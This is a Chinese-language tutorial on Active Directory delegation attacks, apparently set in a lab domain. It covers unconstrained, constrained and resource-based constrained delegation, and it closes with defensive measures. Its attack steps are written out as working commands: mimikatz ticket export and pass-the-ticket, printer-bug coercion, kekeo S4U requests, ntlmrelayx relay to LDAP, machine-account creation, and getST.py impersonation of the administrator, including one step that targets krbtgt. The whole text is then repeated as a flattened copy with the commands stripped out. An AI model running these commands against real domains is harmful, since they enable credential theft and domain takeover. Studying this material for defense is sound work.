域渗透之委派攻击全集
字数 1561 2025-08-27 12:33:54

域渗透之委派攻击全集 - 技术文档

1. 域委派基础概念

1.1 什么是域委派

域委派是将域用户的权限委派给服务账号的过程,委派后服务账号可以以域用户的身份执行该用户能做的操作。

注意:能够被委派的用户只能是:

  • 机器账户:活动目录中Computers组内的计算机
  • 服务账号:服务器运行服务时所用的账号(如SQLServer、MySQL等),或通过注册SPN成为服务账号的域用户

1.2 委派分类

  1. 非约束委派(Unconstrained Delegation, UD)
  2. 约束委派(Constrained Delegation, CD)
  3. 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

2. 非约束委派攻击

2.1 非约束委派原理

服务账号可以使用用户的TGT请求访问任意服务,存在严重安全隐患。

经典攻击流程

  1. 攻击者控制配置了非约束委派的服务
  2. 诱导域管理员访问该服务
  3. 服务会保存域管理员的TGT票据
  4. 攻击者导出并使用该票据进行横向移动

2.2 实验环境

  • 域控:DC (10.150.127.166)
  • 域机器:WEB (10.150.127.168)
  • 域用户:many/asd123!

2.3 攻击方法

方法1:直接获取票据

  1. 查找配置了非约束委派的机器:

    AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
    
  2. 使用mimikatz导出票据:

    mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
    
  3. 导入管理员票据:

    mimikatz.exe "kerberos::ptt [票据文件]" "exit"
    

方法2:利用打印机漏洞

  1. 使用SpoolSample工具强制域控向目标发起认证:

    SpoolSample.exe DC目标IP 监听IP
    
  2. 捕获并导出票据后导入使用

3. 约束委派攻击

3.1 约束委派原理

相比非约束委派,约束委派限制了服务账号只能代表用户访问特定服务。

关键概念:

  • S4U2Self:服务代表用户请求自身服务的票据
  • S4U2Proxy:服务使用S4U2Self获取的票据请求指定服务

3.2 攻击方法

方法1:使用机器账户

  1. 查找配置了约束委派的账户:

    AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))"
    
  2. 使用kekeo申请服务票据:

    kekeo.exe "tgs::s4u /tgt:[TGT票据] /user:Administrator@haishi.com /service:cifs/DC.haishi.com"
    
  3. 导入票据进行访问

方法2:使用机器账户Hash

  1. 获取机器账户NTLM Hash
  2. 使用kekeo请求TGT:
    kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com /NTLM:[hash]"
    
  3. 申请并导入服务票据

4. 基于资源的约束委派攻击(RBCD)

4.1 RBCD原理

  • 控制权交给资源拥有者
  • 可以跨域和林
  • 不需要域管理员权限

4.2 攻击条件

  1. 具有修改目标主机msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:

    • 将主机加入域的用户
    • Account Operators组成员
    • 主机自身的机器账户
  2. 可以创建机器账户的域用户(或已知机器账户)

4.3 攻击方法

方法1:本地提权

  1. 创建机器账户:

    New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
    
  2. 设置目标主机的委派属性:

    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID])"
    Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    
  3. 使用getST.py申请票据:

    python3 getST.py -dc-ip DC_IP haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator
    
  4. 导入票据进行访问

方法2:Account Operators组攻击

  1. 确认Account Operators组成员身份
  2. 创建机器账户并设置委派
  3. 申请并导入票据

方法3:结合NTLM Relay接管域控

  1. 创建机器账户
  2. 启动NTLM Relay:
    python3 ntlmrelayx.py -t ldap://DC_IP -smb2support --remove-mic --delegate-access --escalate-user test2\$
    
  3. 触发打印机漏洞:
    python3 printerbug.py domain/user:password@target relay_ip
    
  4. 申请并导入票据

方法4:变种黄金票据

  1. 创建机器账户
  2. 为krbtgt设置委派:
    Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test4$
    
  3. 申请票据:
    python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -impersonate administrator
    

5. 防御措施

  1. 将高权限用户设置为"敏感用户,不能被委派"
  2. 主机账号委派时只使用约束性委派
  3. 将关键用户加入Protected Users组
  4. 安装补丁KB4598347修复CVE-2020-17049
  5. 启用SMB签名防止NTLM Relay攻击

6. 工具列表

  1. Mimikatz
  2. AdFind
  3. kekeo
  4. Impacket工具包(getST.py, wmiexec.py等)
  5. Powermad.ps1
  6. PowerView.ps1
  7. SpoolSample

7. 参考资源

  1. Bilibili视频教程
  2. CSDN博客1
  3. CSDN博客2
  4. CSDN博客3
域渗透之委派攻击全集 - 技术文档 1. 域委派基础概念 1.1 什么是域委派 域委派是将域用户的权限委派给服务账号的过程,委派后服务账号可以以域用户的身份执行该用户能做的操作。 注意 :能够被委派的用户只能是: 机器账户:活动目录中Computers组内的计算机 服务账号:服务器运行服务时所用的账号(如SQLServer、MySQL等),或通过注册SPN成为服务账号的域用户 1.2 委派分类 非约束委派(Unconstrained Delegation, UD) 约束委派(Constrained Delegation, CD) 基于资源的约束委派(Resource Based Constrained Delegation, RBCD) 2. 非约束委派攻击 2.1 非约束委派原理 服务账号可以使用用户的TGT请求访问任意服务,存在严重安全隐患。 经典攻击流程 : 攻击者控制配置了非约束委派的服务 诱导域管理员访问该服务 服务会保存域管理员的TGT票据 攻击者导出并使用该票据进行横向移动 2.2 实验环境 域控:DC (10.150.127.166) 域机器:WEB (10.150.127.168) 域用户:many/asd123 ! 2.3 攻击方法 方法1:直接获取票据 查找配置了非约束委派的机器: 使用mimikatz导出票据: 导入管理员票据: 方法2:利用打印机漏洞 使用SpoolSample工具强制域控向目标发起认证: 捕获并导出票据后导入使用 3. 约束委派攻击 3.1 约束委派原理 相比非约束委派,约束委派限制了服务账号只能代表用户访问特定服务。 关键概念: S4U2Self :服务代表用户请求自身服务的票据 S4U2Proxy :服务使用S4U2Self获取的票据请求指定服务 3.2 攻击方法 方法1:使用机器账户 查找配置了约束委派的账户: 使用kekeo申请服务票据: 导入票据进行访问 方法2:使用机器账户Hash 获取机器账户NTLM Hash 使用kekeo请求TGT: 申请并导入服务票据 4. 基于资源的约束委派攻击(RBCD) 4.1 RBCD原理 控制权交给资源拥有者 可以跨域和林 不需要域管理员权限 4.2 攻击条件 具有修改目标主机msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限: 将主机加入域的用户 Account Operators组成员 主机自身的机器账户 可以创建机器账户的域用户(或已知机器账户) 4.3 攻击方法 方法1:本地提权 创建机器账户: 设置目标主机的委派属性: 使用getST.py申请票据: 导入票据进行访问 方法2:Account Operators组攻击 确认Account Operators组成员身份 创建机器账户并设置委派 申请并导入票据 方法3:结合NTLM Relay接管域控 创建机器账户 启动NTLM Relay: 触发打印机漏洞: 申请并导入票据 方法4:变种黄金票据 创建机器账户 为krbtgt设置委派: 申请票据: 5. 防御措施 将高权限用户设置为"敏感用户,不能被委派" 主机账号委派时只使用约束性委派 将关键用户加入Protected Users组 安装补丁KB4598347修复CVE-2020-17049 启用SMB签名防止NTLM Relay攻击 6. 工具列表 Mimikatz AdFind kekeo Impacket工具包(getST.py, wmiexec.py等) Powermad.ps1 PowerView.ps1 SpoolSample 7. 参考资源 Bilibili视频教程 CSDN博客1 CSDN博客2 CSDN博客3